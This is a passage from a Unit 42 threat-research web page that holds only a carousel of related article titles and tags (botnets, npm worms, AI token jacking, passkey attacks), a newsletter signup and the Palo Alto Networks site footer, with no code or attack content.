Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa") * [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID") * [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams") ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/) * [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor") * [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin") * [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution") ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/) * [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication") * [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft") * [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels") ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/) * [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK") * [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum") * [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet") ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/) * [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum") * [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications") ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm") ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/) * [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API") * [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway") * [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources") ![Pictorial representation of malware bypassing DNS and communicating directly to IP addresses. Futuristic digital cityscape with glowing blue and orange geometric structures, resembling skyscrapers.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_DNS_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 4, 2026 [#### Almost Half of Malware Samples Communicate Direct to IP](https://unit42.paloaltonetworks.com/malware-bypass-dns-direct-to-ip/) * [Command and Control](https://unit42.paloaltonetworks.com/tag/command-and-control/ "Command and Control") * [D2IP](https://unit42.paloaltonetworks.com/tag/d2ip/ "D2IP") * [Exfiltration](https://unit42.paloaltonetworks.com/tag/exfiltration/ "exfiltration") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/malware-bypass-dns-direct-to-ip/ "Almost Half of Malware Samples Communicate Direct to IP") ![Pictorial representation of passwordless authentication. East Asian woman examining data on multiple screens in a high-tech environment, surrounded by digital graphics and code.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/07/07_Cloud_cybersecurity_research_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 3, 2026 [#### Pass the Passkey: A Novel Attack Surface in Passwordless Authentication](https://unit42.paloaltonetworks.com/passwordless-authentication-security-risks/) * [Google authenticator](https://unit42.paloaltonetworks.com/tag/google-authenticator/ "google authenticator") * [Google Chrome](https://unit42.paloaltonetworks.com/tag/google-chrome/ "Google Chrome") * [Google Cloud](https://unit42.paloaltonetworks.com/tag/google-cloud/ "Google Cloud") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/passwordless-authentication-security-risks/ "Pass the Passkey: A Novel Attack Surface in Passwordless Authentication") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. Subscribe today. Your Email Subscribe for email updates to all Unit 42 threat research. By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement") This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply. Invalid captcha! Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg) {#footer} Products and Services * [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security) * [Secure AI by Design](https://www.paloaltonetworks.com/ai-security) * [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs) * [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security) * [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions) * [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention) * [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering) * [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire) * [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security) * [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security) * [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall) * [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations) * [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls) * [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager) * [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription) * [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os) * [Panorama](https://www.paloaltonetworks.com/network-security/panorama) * [Secure Access Service Edge](https://www.paloaltonetworks.com/sase) * [Prisma SASE](https://www.paloaltonetworks.com/sase) * [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration) * [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem) * [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Prisma Access](https://www.paloaltonetworks.com/sase/access) * [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser) * [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan) * [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex) * [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud) * [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud) * [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security) * [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security) * [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security) * [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud) * [AI-Driven SOC](https://www.paloaltonetworks.com/cortex) * [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam) * [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr) * [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar) * [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse) * [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response) * [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam) * [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira) * [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management) * [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management) * [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager) * [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance) * [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management) * [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic) * [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management) * [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance) * [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery) * [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access) * [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42) * [Proactive Assessments](https://www.paloaltonetworks.com/unit42/assess) * [Incident Response](https://www.paloaltonetworks.com/unit42/respond) * [Transform Your Security Strategy](https://www.paloaltonetworks.com/unit42/transform) * [Discover Threat Intelligence](https://www.paloaltonetworks.com/unit42/threat-intelligence-partners) Company * [About Us](https://www.paloaltonetworks.com/about-us) * [Careers](https://jobs.paloaltonetworks.com/en/) * [Contact Us](https://www.paloaltonetworks.com/company/contact-sales) * [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility) * [Customers](https://www.paloaltonetworks.com/customers) * [Investor Relations](https://investors.paloaltonetworks.com/) * [Location](https://www.paloaltonetworks.com/about-us/locations) * [Newsroom](https://www.paloaltonetworks.com/company/newsroom) Popular Links * [Blog](https://www.paloaltonetworks.com/blog/) * [Communities](https://www.paloaltonetworks.com/communities) * [Content Library](https://www.paloaltonetworks.com/resources) * [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia) * [Event Center](https://events.paloaltonetworks.com/) * [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center) * [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z) * [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications) * [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure) * [Sitemap](https://www.paloaltonetworks.com/sitemap) * [Tech Docs](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.com/) * [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy) * [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center) * [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use) * [Documents](https://www.paloaltonetworks.com/legal) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector) * [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * EN Select your language ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ### Default Heading Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) Seekbar ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg) Volume ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)